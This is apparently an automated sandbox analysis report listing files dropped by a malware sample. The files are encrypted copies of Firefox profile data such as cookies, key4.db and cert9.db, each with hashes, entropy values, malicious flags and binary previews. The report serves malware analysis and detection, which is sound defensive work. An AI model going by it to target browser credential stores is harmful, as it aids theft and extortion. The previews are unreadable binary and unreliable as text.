SSDEEP:	6:YWGX8cz/YeiZ2/plytCSJSInHkYI/bxapyNqNvGfri1stEQ7Pebugcii96Z:YWGqeU2/3SgInEYI/MoNJjKstEuPrgcq
MD5:	627B58DFCD0B2258F9EDCDA2E5453B91
SHA1:	F9E5968E134525848A6FA2851482F5206C784CE4
SHA-256:	85B53EF3E92F2C3DAC860F17673754DBD469045C578227BDE709233A807D1AA6
SHA-512:	461C46070A41BD43296A34B3E40C3BB5BDFA82C9A583DB620E0ABBB7949F3B7E62460D844C89CE699FFC6515ACCEF4BBF631886AFF97278E0AE3FE969202D22D
Malicious:	false
Preview:	{"sch "~..b.f.b.l.V.+UE .+..9..FM.<.p.\|.T.w.8@...../#.}..G..S.....D.S~\|.;.#...r(J..f....}...s.u.XpZo..G.p.1o ..bZ.we..8....g..6...!L..$.Psbm:...%.E.........$...3..C..dhl.....k.=..kw.....v-..?.L..(...&.~'.......:$.p.....;.....;.t...b..n....zj....{...f.}$......dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\cert9.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	229710
Entropy (8bit):	6.27690502434174
Encrypted:	false
SSDEEP:	3072:hLFfAlIfrDPtBk6YdrlfdV/zL03w+V4NVtMQx/IMUN2MN+P+at0:zIOtTWTV/M3w+V4PtMVyK+WF
MD5:	CDA39774E1DE51FE5D74BBECC29E6459
SHA1:	567DE8D868B8A749C94A52CAB63915476F9241D7
SHA-256:	5082C70FF6FA252EF6E6A346D470DDE5F6943336C4E54AD30852400BF321E511
SHA-512:	1B87E58ECA1EF65475290F36F7B8D4855F4157F911D54F1CFB95B7CAF09732F07E7AE55EF65C385F452CA5CD146B1F6D131D06A9FF6509FF69DC39747D5B2A27
Malicious:	false
Preview:	SQLit...4.Tvv.Z#.r...7..r.....Ti@,..Z,..#7.a~(..c+M..EQ.)...X....P...?..._ ...e.bqk..<...........nR.e..H.......X...w+....5j..B7.+cGt...Z"..M...}cS...v.k.CF.L[4........3.....H.Gc;..w.B.....{..C.....(.:......'y.k..)....~6(.0?........3....-X.....pE.k....m.\L...."8...n..@y+....4.n......K.A...t...^.9.ue.k.4...\|..8.....;/..2C.j.F.B..X..Z.o.e'.0Z...n..q...6..O..EV^.b.3d..E5......fA.k..+4<..pr...X0.6...'.=nbh{YY.u..5..ib?.BR...._.x...\..t..&...\.7_0....T...].v.o6...&y"....O..tZ..{..P.{...c....}.33.........W..M...a.1.l.(.2..e...A.g0...Sr.(K...9.t.t:.f(R..s.Gct.....3......\|....A._.W.Rm7.....y.y.C...0.....D....i..T..yVY.Hlv...Q_.:....."....T.4.k...P.......A....0?l.3U..x.ts.{...P.4Li....g....lu......lw....vu.i.yP.cwV..........Oe.....m..wm.@./.......B.'.p.tb...x.,..J.../..(3.........0V....S..u.O.."v].0.>i.....#;....{<`."x.=.....`./g...%..['?.O.[@..8.0.O.2...L\VN... . !..Rh.Xj..aI.,.w..'.:....?.W......(?.>t...2..}.n.#......W-V..5ID`........$..

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\containers.json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1209
Entropy (8bit):	7.831126760107933
Encrypted:	false
SSDEEP:	24:YWERBwvsyOX9/MWhoaUvvBkf9r0dbDH8XdB3mIkbD:YWK6UTXlJUvZkfF01CdB3AD
MD5:	D2F7CBEF8D3A221E84E6D974192AD03B
SHA1:	86B0D1587F0B65A79A7B1BA2ADB1382D26827F2E
SHA-256:	781EA3A17D590B099F466F080C2ACBFBD604E6EDECC9D718A9C5B80120ADBF6A
SHA-512:	1D71E30C1991680B02A70CD81798C99CDA6F72CA57078F500ED601648EB806570EB901C7D14EFFBCC77DC8D64F25360CBDEABB7CD9EA7FB9504FDE797DC53E5D
Malicious:	false
Preview:	{"ver....0.,W.}'.v'.w..T9{..'?.c......u.....V......t.]t.i.Z...../.i....k.u.s...T8......,....e..}.P.qJ#....R..?.......%.8`..j..Va....^..b.43.n.PD.9I<..(I...N....._!.d..7..y{.C.aJ....:.Vv...BDa..f-{T3I...WEUN...m.D.W.{nf!...\..".6Q...[M..ea...g.....wy8....)..HUx2.>....T7.8PD....'...s7....P-....(.Jc.<...[4.\|..B.2....ix9.....5..sV..........M......C1..b......L.o..v+.<l..F../...e...A#.......p2yl.Pc.<.@%D..[y...6ct.;.FG.Q.e=.....q..oQ:.v.....LV.. 9.Q.IfO..'x\"....;.B.....}...g.S... &'/...a.w...)..av...........Zm........)....Wb.qTR.7I.(.ZD.).....K..@.JW.....Ch~.P\....9..<.....2d...2...9.[..k....H.&.....\|. ...TCb..X.l.".,b..dh.K....._..rq...2._...>S..4...W....E...Tpv-...`..o.............Z.%..I.X.?t\V.yJ.......7....&..&}....i.....v.I...cl.q...._AH.~7.g.."...h.2.X:o../...a0..>.N>qj.....".,d.....C.5...f^.%.....i........ u...A.V...>c...^....JTy.X.!....-u..dM!.[.v.4.......j4.....0..........qyF.@lB.E.yvz.M..N==.D.c.......K.#.....h......;...A.

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\content-prefs.sqlite.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	262478
Entropy (8bit):	5.648237813756784
Encrypted:	false
SSDEEP:	3072:KdKz+i2jQaAdxMcvC9mcF0t5KfY+n3rtlJMREvNuf+5wzPKFOuvtVD64FHfVp:EKyi2jCMc69PPJ7ve+5wWYurDXL
MD5:	467967ECF33F12C7A251F0DD64E4A892
SHA1:	B08A6A66BCA3E09A8EECAD889D8FD0488FB305D5
SHA-256:	2BF6BAD9C74566581EFA84F9D76F6E17471ACFF290A767549389AB943D2D65C4
SHA-512:	2CD6B9BE5AAE5A1DCC29004DDB25259FCCD0D932E52AB1824FFD10A451634DD4A81520B0B7A878D5DACB07ACACA6CC679BF6A5CC157DB36E974DFFF305F38D08
Malicious:	false
Preview:	SQLit?...T......\|k.M'Y,.........>....GL.....A..l..F...B.........F...vo.h..z..sl..y2.v.L.E.+.4\|}F..R4..],...e..'..v...7\|.f.3........._e<...{.....D.".n...xj.._c.D...B..hz.L.^.\|T.u..D.T<.....w...._!<0.T..jAw...B.a....2..r...\|6.b#...L...F.3k......O....=.%'....p.......(2......G...'..V..f.L.H..j...".]KY.v.0(Q..1.8e(H..&...F^BSh.^.....b.3.#n^.JL./.]..I.......[...~Ogt..i.$.... e.]..\.z..0j0gW.z....}~9..,m.......G.Z...T......../.W..!H...[......X..O.)S.(....#..{:J.nQ.#F..#EmZ.5..D.I.r\...n....a.-..P...... .6K.UQ....b.R.H/....W...T.x.\.W7......Z......MF.v."n=..mV......}..d.ev.Y/q....Q......._.z8:...yE....~[p.I?...._..S..j....;.......E.gV.B....6...,..u....{..&..q9LU.P.V'..-......)...p.........eUd.`......4I.,m.u......!@.%..5....<.C.......~./,.d..lp.U.]0......g..'..h.p.."w..7B2.'...u,.C"....[..e...*...Y0.Gm _....t.E..0R.n..S.....-o.;b...(..l..`A.".;....Q.B..W.............R.6s.......k.^..U..-..Ob'I.IRX.W.@..&..Q...e....N).a....._p~..ve..Q.Qp..O

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite-shm.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994825499194096
Encrypted:	true
SSDEEP:	768:Wcr5yT7i3ijipiGMw/ClL9HGGTNEolcVMRzAEkFIbEvK:/5tI5GrKlhGkL+k0Fc
MD5:	9771708ECC227009F0DE3FC9B38280B0
SHA1:	F7E91855D3F7A7AE9EF945990017B20AE1198C5E
SHA-256:	795CD9C23990CB40BF554E44B04AA2A8047DF0D64A6E087E81E04647534E5BDD
SHA-512:	C7678C07EDBACF3075FA92D27C78ECDC9CCD1AC207596BE2DED45EE85F809B989BA33105FC0D071D311AEA2C9C9A81D5F28421722A1B80E6C88DCE6510F00CD5
Malicious:	true
Preview:	..-...H.e......1.....a^...P.....`>.G..k.-..<8.u..aX..<...Iej.B.......H[ZSy.JX..:.`<.2O-.ak+.._..c..}.....\...f.A....."=wg.E.+.3.\........NX. eD.U..A...F}....%..Z....}a..P.D....\dPG.5..v:\....."w...Bc.F...8m...Ej.......A.._...aZ..I)5.O....<.....r.V.4.T.O.Bp......w9w.Q.p.TJ%.B..P.([......t(..\|>.kIV...@w.\|.r[..Y....L....+.Tb.V&"....+.p:X....@..mj..0.2Y....+......Ef.\\.A.~)..7C..O.9...O..v.....j.w$.xV...:.: q9.u.#.1_s....5=.6./..i..u..x~-.k"snH ...Iu.....]....AN+.Gx.L.Rcc.......2=V....$...U.5.\'....u.^.....`tts...{.\.o.Q...9%...[..9.H.....xy.;_...d:...-~.0Et.T..>-....9..r.\|g:=.l.d.....j.T9.EK..~]..M....dSQ...k...&..@..Z......319f~.i....:D......\|.(.C..F........tr.?....W.....;.F>.l...V...Z..O.D......S.DI...H..,3p.....Bd~k.X....O.....3.Ze...soLc..:.$.)%...g.3..*..>R.9....=...T.n...B.b.$...G.w.....}.i!....i..O.B"...Gft4..I.&...p.p...9...J.S...K..3ji....$pU...s..D.t..../.x..WJ.O..RH....#[%......B~...Sf!...&`...U.d..e.W..z....../f.o....g6u...S..(..Z.

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.997857445834291
Encrypted:	true
SSDEEP:	3072:thE+WOlnebZtnr4SLN+jooyWRYRZPkhl9d5:thE4+9rpLNSoHWYRZPkhl9d5
MD5:	A12DBD0A195A501EB193D5E152655BAC
SHA1:	8073F6343A5026CC5488350AEEADC567A646548A
SHA-256:	F6B66F5653767FA67EF3F12C1EB6E484ED9A1B27F1D7756B7A0127FD606EF42D
SHA-512:	C147F97C747A17FADCA4B35D628739C078628E9BDD2AC0BA4F6E52A44457E77C2465879C1655D84F20B7022D48228A40F986D097B7B442143685DB301E7075AD
Malicious:	true
Preview:	SQLita..t....JJ.M.....)4.y.\|..........c@......].....0..N...K.2....,c..M.A..SuR.[m.\|.................u1...W..X.....".S..,Mj....;ju....Q.EN....T..1...7..b.......@D.+...Q..=!.~fT..<.[u.i.>....D.iyL.F&....nR....D8..........l....J)...n..z.D.`im~....Q....l....O...?..q.....DE..[.V.o......t..zG..-.E.......'b~..T.".Y...-.%s....[%..k....].........#z.......]....QSc.f..G..=....m<...P.~+..Vq..Z.o_\..X@...s.~....H.,..h7..\...>.S5...RE......a.....Bo..S..j......'{.!\|~........$\|....2.R..Oj.....C7.~.N..o.....z.....*....)..yW.E.^}Lc_.Q%...0cq..yO..B..k{....y..1...?,._p.T..\.9..#...\|....j..G.k...^\..,.j....o..<.:f.B._'Q)0..]\|.r.G]..lwr.1.E.+l.N.....jUy....e..DJ+?l(.....%...KM.....5S...U.N..s8>..[.~.S.!..W..^...CL.iW.X........Q.+...}:D........=...va\.k$...r.:2..5......:.n.I......%H..d...1.....J.}.=4....`._..H.....t....OD.lW6F.....k%..G.i........"\|..\|7.u.P...A8.Q.{......'[x..M..D.2JP....Q..@H.n..@.o.E....ob./:F...Cb...].#...GB..z..t......?..S.7^\..

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\extension-preferences.json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1423
Entropy (8bit):	7.872005838061874
Encrypted:	false
SSDEEP:	24:YbJjX/sP5wxk5lVzkUU9IapkHAXNuJf1MQrlYlj5x5oEm9hapmkbD:YbJjkBwm5lCUUKap0ZlOQyJmsDD
MD5:	E91D66C4DFE922AE94A103001EDBB304
SHA1:	07E91856C5BE307E91995E1645C0E780ACDB96A4
SHA-256:	6D29E7E6AE54F0AB8C59BB9B1B0EC253160502F97CF283279EA3DA3A9B471DE2
SHA-512:	2372F497BA5FCD3C79FC70638E53D869D6F84AD3DD32A8CDD613249B930801332B6B79DF0CA8A2AF664A13DCEB2320683B3386BF47851F7B293A6F622B11DB61
Malicious:	false
Preview:	{"ford.gx..l..0.5t.F...9_:H.g.h....8P..x4...X..o..N%..?..C,(.......h"/E.)F.gn...n..5....(E...T..N....V.[.m.}....+.......H..h.....A..b..h........]....(..}...)....L........XK.p...........n.e..6S@..T....7"6.>A<F$..8...r.ZOOC.....ask.sn..........\. .....I.&..6R6.L.\|....2....Nzh.W..3.....gX.\...ei;.3X.Z.KT]..f..x....q50..~:.it./...A..8)..I\|...=..XV.r.a."..v..._.v..tUB....u...a..:...7...N...Y.^...U......T..6..0...dFA....(.S+r.EqMk.,.v..~c6.K.O...<....x.....N.F.....4..t....q.....P..'.L[l.)..Q{]E....+.."'....T[....M...l..S..%..s..'..!P.N?y.5.^:.zPv..m.?j..7.........V.~..z$iU....'..49cBp$iA1k.l....A6..Gw]R..6.{....-.I$q...B.....'.z..>..q.....F. .L..w.......xRQ-....K.....Q.].g....L7..x\|W@..-.....D(...J^;4gD.$....CG.z....}..... .j...9.%.J..'\|9b..a..]..I.[.z..o.G .6..@.l.......!...........C..CM..b..M?.9....i..a.....c.49A..D...n.....h7.V.i.....X.JL......J...)2K*.....&C6.'$..Bo 6&R.....(4.3d..{J._/. .'h. -!i...?p`.L0.w.3.......8...n&2.....N-....l.

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\extensions.json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	37164
Entropy (8bit):	7.9950467674128305
Encrypted:	true
SSDEEP:	768:slaSs1Gae6L2tNkZf3v80uCVIOlatZ1YIaGbQMF/mk3cX0:xG6fZf/XudOUtnMILM0
MD5:	F7F0D6F738676ADF6FE71D2B2D6D379C
SHA1:	1FF7255F6B8D61E0A414C1E10D3E1332821E2835
SHA-256:	99BFFFF242C37933BFF89E2494CAB87168F98903B73DE43ABB816C66EF8C9B46
SHA-512:	B8C86277F07BAD9CAB6B0405229DF3E369EBBAC308D9229A9DDFB5BE498A7DBAD83A94335353A901F7D2D50284B230FF09614A6A220DD54A92DADF4A282D4B07
Malicious:	true
Preview:	{"sch.....;.C1.......!.k.JJ..s..#...............0.cH..o%I..xj......j....EV....e-..y_A@L.r...." Z.F.cp`-...JG.?.....a.V...kHM1.......%.`v...;....~.AGE...h....q.....V.;..<..<..k....sy..B.YG.b..l...>.......?R..., ....d1Mm.I....3.+..ak............A..TG..Q..+1.^wX7P.-..YK.........l..1bm.p.=S]m.B.#.b..6....!..d.q"@.j...[..m..0X4.......x+o..i%jI\|....UA(.Y!@(...y....}w".....w.nA,.e.....Lk-(.E.'9...'F.,..e.l7........oe....gB,p3..K..p.{D..&.b....K.D..\..6.CY\M.....I..V....e_.........m.).`..8..\h....+.q.........$...Z\|........>YJ...c.^.a@.....]f.....{-.a0.gF....uA.'...!..n......W..2eT.......[......#..n.0.l,..........A.e.<...u......\|&}x..N.......8u.8.L.......7..Ba.......CsQ.J[..6.\|.\..=Z....G6.C..";#o.....!mD.8...S....Qe,8.-...Z~......#.F%"..K..!.y....QZ..g_.N_6..\|..A.....A...."2..,_...l+z3.A..K2.....]....]....h....p...\|.h^.k.e..O.o.K...xY...C\|.G...1..a.,.y.....}.........ET..u..r......K.UQ/v.V.A..d0..IZ......K....X.......5.."...q

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\favicons.sqlite-shm.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.9945258155193795
Encrypted:	true
SSDEEP:	768:Nd0Blbo91cqNE85Fr/vEIf15MVpq3p5I3pGvuHWHvYQ:Ndqlbo91cc1/vdfsVpqZXQSR
MD5:	E516AF2E38590830FA5E1A56581A6273
SHA1:	325FD54B84BC721E91879BB624794802A6C19D36
SHA-256:	A0A60BCDD3F93D227464A0E3CA7849C53D383C9774CAFB09FEF5C839F5DE3DF3
SHA-512:	290B51546720040E43F933F4A321F9653D33981093AE5755CE838F7C72A3AD3D238BE0CF8F7E3AC8228FAD2EAD4F7989A9AD9F2CE7BBE5F067929A17F62964F4
Malicious:	true
Preview:	..-..r....^i\|.....w#7.....k.......s......+...."..P...H!!.......MO.....:....B...V4....:s....^;o.R..a..'..N....7...x.`..;..l-..0...Q...R..>.nW%.u.a...O.'#.fu}.jR..-.`...\..+o..<fk.4fxR.f;L..#..XK..G...P.Y....6.#C.)...{.$..G}......3f......0{.....`RH..V.U..Qaw...,~..k.v.~.."....p..........p'..X....}.K(.Y.[....eB?...Y..T...B.f..N.Qv%.Cl..M.g:J...8.XYK....!..Q>.......r.#.6~[hAA.. .....(.`....n>.c02...FT.U5..HP.QiA....Z.PK.n"..N.:.;wf..&...8K.06.`(e......1_VNo.vb.....<......jY...s-...,...zg\|..8..x.MF..B.I.".w...Mp...n.W.g(.0.o....Y...4.......('.,..6.AH..Z.......k....8.l..d+...)....;..p'.yi\..?.....m....%.+/..;.#v/..l...x....o..x.....`.d.h...+...-.XI..QI.b(n.......R......ue...K7..3O....jj..,.9L..... M_.ceG...d(."Qj..A.dae.....-.&.G=~......r@!C..Qb "^!.vI...\.C.!4aCm....#..x...g.;1.....''.a.. .,.V?.l_.w.{.V.X......r.. V..R(...J..........pQ.........2..Jwf.Sw2.0..V.....^.DM%N.+..f.M..B]...W(.._..#w'h\|..V..o........Z...

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\favicons.sqlite.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5243214
Entropy (8bit):	0.42657343089786204
Encrypted:	false
SSDEEP:	3072:D/XfnMUrMF9mcU6CD+cuIgulhYqyfN1rw6DaxfzwaMuIiPbZ:rPnHMFJU6MuIgulut1CpwuIeV
MD5:	64A303361B38C3B8FB099A1A61939D43
SHA1:	881DAD282AC049A22021C9192E3FC6EA1908EDF0
SHA-256:	0341D63429D866938A9BD40E8E1A417F54A9F5D79FA29590DABDB40B138F05A8
SHA-512:	AA5ACE17C70701866FF472F17741F14FCC0BBF9987A2C2F3BF5374F13EBBC6AE2B2B61AAFC2B80F89B98BE0FBA8ACCA3262595F5DC60D97968F9F1FE3ED1F4B4
Malicious:	false
Preview:	SQLit...C..(.......'..CeAz..(..`..U..>.G..nW.... .q........... .....a..E..=%$..U.!.......F$_.Z.i.....,..._H.,=.).C...C.....+..Y.E....\|........M..%ys..<B.(Oh..!.@......U..].E#..T1oT.mlB..W...PMNbxVi]..%??.M_o....6.._C"~........}.....`Z^....`.F....\|.(..u.i.\.......i....6f7.-..i...YmJq..}..G7.....;<.\%.. .?....r9.D(.....g....:..U.....@...".+#.OR)..#..'. .".Y.'&uW.......HW...1...,.v/....8A.t9.A....W....p.].RZ.+d....-.........\up.pA..ZuHi.....K.Y.#g.:...'.I.../.OL..g:..nS..>..-4Pq".......R^.y...'a..e.8.Q.{..[.Cdg/.\|....... ./...5.......1....:8.N@...\...1..m.p9..o...]j.hX./(..9n...._.&..5.F~.>.#..[+S....K...=<.7..........%-}.`..kg../Q.....7y.6.t<.Z..[."`."^_..j2.x..O...v..d"......;.t...\|..bL.:D.oV=..+..t..R....8..g..7..5......O.c..5....H.........x.T...p.....k....&@.q...m'.[....^.4...]q.J..%.2m.....,.,.F.PK..LwI^R.v...d6.)....A.8p\.g.....i.g..TR...I..gr...S.F...$<v.T....i-q'.1o<}`.9.h....i..}.......B....M.I>\.p.j..9p

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\handlers.json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	714
Entropy (8bit):	7.646168580187897
Encrypted:	false
SSDEEP:	12:YnGBCcu/fd8jaaFLVD2D630n2zdc6Q6+rPQw3yV4yggD8a3ksP/ixF2D+Prgciik:YsCcuujNFLcDH2q6QJrVs4yggDL3cAsW
MD5:	D335F6F4B34DB0A4B46062DEBE9AF393
SHA1:	39D84502BF5948DAF8F32D590359FC197CF823CE
SHA-256:	FDB26BFE69DB54AB08F5DEAB0DB384BDA90246201D30C8251D4F2273D4AFD6CA
SHA-512:	B783B9979CEBB04205F9E877DAF0D9A82D98093A1B07160F07AFCB62B3EC10A4E5F5EE9930022DA556993F50A0D698A39BECFF0C71075C72B8B248CE254301A3
Malicious:	false
Preview:	{"defa.9yr.~4cb.19...J..J&z.>QZ<..R.[....M.I...?....A/....W.N?...}.q3%Q.zp0..Y....`..q..g@K...-..*N.t.W....O8.rD..FZ....0.:.`1.....f....m.g...L.......#Y.Ww9z..a..r..qX../..I..c..^.X...x....9.....J$.:..{e..Jr/.x0>.....2....4.k^.....LGrG._d...8g....9.g..S..%.d..lL....n.9.U..&..r{.l{.hX..z....+....)..q...C....i.$....k.n[...].....w.....).4.fR.w.K...7bBtk]\J.Z.9....\|y...Y64.f"..;..\....k...1...\|.....P...;W...."....qx=/_.\|3.<xmQ../....\|O...U... ....Dz..`......C...j.\..?nJ5..}3.9..\..............\|].......\|..G.."@... g..l...bH...I..._IX...Bj..'.1.........+.e..#.v..G!...?.X.@..@.../:.xW.)[?..$..#L.badZ...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	295246
Entropy (8bit):	5.15519657229726
Encrypted:	false
SSDEEP:	3072:rv+o5f9SMn4cT5sI0Qn/NsK5wDhTunV6T51zKBJA3U7kGICM3r1:LPD4yZHVsK5wOG1GBO2kGlWp
MD5:	C6083C9BEC6458F13BF18224E9C3EE00
SHA1:	EF063ED93D8C4B9C467C78F757F01776EC9E3635
SHA-256:	B950C8AB11A5BF568A99796B409B836031C6CB10024BB1A39FC265BAA0B6B731
SHA-512:	7BB79271382BD870D2241DCC959B6DDB4999F8AE4906D4EAA753D9116A2F5F3F65495275F0707799CEF9D902776255F7CF57A5150BBED932C529509DA133183D
Malicious:	false
Preview:	SQLityj.I.4/...KY.v5l..K.3W....r.q'....h..4.89y9.".E..{.-..q.'O..,.>.k...;.-.$..:LPI...l.`.+.....$.R&.7.......~...t...K.....=...%r..\.B...A..W...........#...3\|....O.#..c...?.^>.UF_R......e.iH....5....<YF..HH[.k...c&p..hp!.D.t0. ....t1..o.%...!J..#.&".hl...'P...\..O....c{..$.1.Q#.........ha...7.3.s..Xi...E+.Q.6....+..,3<...e8..D.5.t.4"....f.T/....p...3@.....(~.g$..8W...A.>. ..a.#R.mM..l.....h.$/4Um...M.!...+w=.a(...\|...?....ixh....g6....A.....`\|...1N.Dh....%S...S.. [..}...6.\..9......0.oajEG..=p.{.'..F."....U....3....x.`.....VO\|.a......F.!.<.P..s...y.(K........Vpv....Y.xk3..Q~cq.g...H...tv=R.......a.jt).A.G.9\|.~i..X........T.}..9...\.O...?'...+..l.?..h.]7.f..=L'.;4....Z<j...$TO.V.W.[2..U;.....)v.[r..'Z.M..E....p.d.C{..^\..K.F..@.......Li..Q....J.(.z...D.^b-........8.........F.+..f(.za..s..)9.....e..b.....l_.S...+ {1..v_..P...Vj.s9P.6....o4.....j.......R....7\|i^...5.....H,E.V.R.........c..p....4.......i...cD\....8J....G....ZZ..DUx

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\permissions.sqlite.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.998209057999729
Encrypted:	true
SSDEEP:	3072:nhHD0f1UQQZlolbK+ZkERU851WZfmL7lo:nqsZW1dUqMZfmL7m
MD5:	95C1224A0DE32A1B84FFA9A76535258A
SHA1:	B61578E49BBB3D28BD5C6FB80BBD75A40F52B047
SHA-256:	A2FD46A47717F98FE9855A27FEDB58A58A7480890BDA80809821E0884631D949
SHA-512:	9FD34820B144CD0EDF61BD1CFF149C49B08A9535FDBD0A9A1A8F425AC25C4293C66DC15C5BB2DD39B01F6A54A878FA4E25C57B57286579029A8643A616A5FBD1
Malicious:	true
Preview:	SQLitol....3.D&...>...9......u.i.S.W..t=.)~.}:..D..pt.O.>...T.bi...O.1...Nl.m...6.K.. .....`...;....P.m$}q.-.....r.ko..Z.,6....C.Y.Q"0q..e<9..!c...{.._NSCG..d6f....Y_..B.R.N.[..N...I....$?c...i.......&VnCp....S.R........b..q...G..(3.[.{.WJ...WP......>...B..a.{.y.g.........u...2O..j.p{.Y$.B....q.r.[....T.I...Ca...N.3?....k.".=..O......P...iX...=U.h.......w..q.G.86,6...#.;..$lX.6.;..<..{.C.u..$....?]B.R..]...h(..4....:....-.a_.\..A..N..l.:.t....... OxS..-..hMv..(Q.2..._~..r.YS.q}-..._..Z..C.Z....l2-..i.....~..(.`.#.....a.Q\|F.........2....."..u...O8..L..&.%.\|'.y..=..so2Rw.L.XZ..9..U.nC.ed...[.Xhp=.......WW....F.-G.......u.y...A...7a)p....W.1.z,.h..5..xZ.3.n....!_..v$....z><8B..F.H.#...;....8....6..TS.M.Y..zg.....+..?._........(-./.."L..qWTK.S<..'...{. ...X..}....7.#._z...aO.1..;....mFB..v4.L......B.7......"n..{..%..N>.~.."%..a.....z....9T.v.cw.fV.-.S..u...GNN..]...~g.....k.....W..0....a.0..=C(..`2.r;..y....v.....:....oYy.$s.....PO.W.x.%....

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\pkcs11.txt.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	850
Entropy (8bit):	7.735588237957669
Encrypted:	false
SSDEEP:	24:KDDgUbqtD4oJurbmI+D72IhDnuoD+21/CaFKb7kbD:KHgUeD8G32whD+21p1D
MD5:	ECFE24A6FA295017C5945F232DB84D44
SHA1:	0B5DEAA938242297DC992A73C9CD47F31CA1F458
SHA-256:	08646F5B27CA9B7B3E4F69FA72194F598950F2E1C9BDA4237E27305D776B7985
SHA-512:	C0E430CE1C4B614F94143FC7F7322331CCA3C6ECEF7FF71A731332A1EA664AC9B5545A13927F48921B8265CD680791072B451A800EE0DC3F2634A5A510CBC732
Malicious:	false
Preview:	libra..m..Z@..w....tf.V.\|.d.+}(.]....J.....m...z.........8.q.....T.+}'.U .4.C ......L.S-;P..C#.._..V. Y.$....V. ....2I..\......D.m5.G..P...[...aY.+..Y...{....a...J. ...Z..&.+../.u...]...yp".........>.....s....;5a&.rg...^$...!T..y..E..x.....X.Q1f..../..H.,.GnCz.l7.....A......A.S".5AlD.OU.t.!K....6.,..(...md....V......'...9.%#Z...6..z......lK...R.F...[.....V..0..K..{.j.q...k..w.p.a..-i.x..3I..AE..<.)..r+]b.;....g.....P.m-O.....\|.]6..8K.2.A7....'M=.W.~(?o........w.......M.X..o....#d...$...w.!.M.......=.@..\.gH....z.....^....OE..e8.,.R.MWt..f.$.Y. ..#.SFDH.j...$...S.../<.N.....#..&..ww.ESX.B5.}W....bv.G.`6.).O....#......0"./....a.:.-.h.&....Y...[i...........?`xQ....y.&......(.TWW..5....m......).1...Dh.[...Hr{..o..&gN81.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite-shm.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994744156096319
Encrypted:	true
SSDEEP:	768:joTZLJUGJfd4WH+/W7ZV8L6v4oFLiNp4kZyAt6F/X7tgIIFjX:j0ZeGTncWlV8G5xkZyAtm/rtgIIFz
MD5:	C8B4B71DD86A4ACCFAC02DA06285570B
SHA1:	4232DEF54A38B836AA661EA27F8DAD491866A422
SHA-256:	E2F36930FD6E61FC80B6A8F6826A7226E0DB7301D693688AE00E76F0E8BBB855
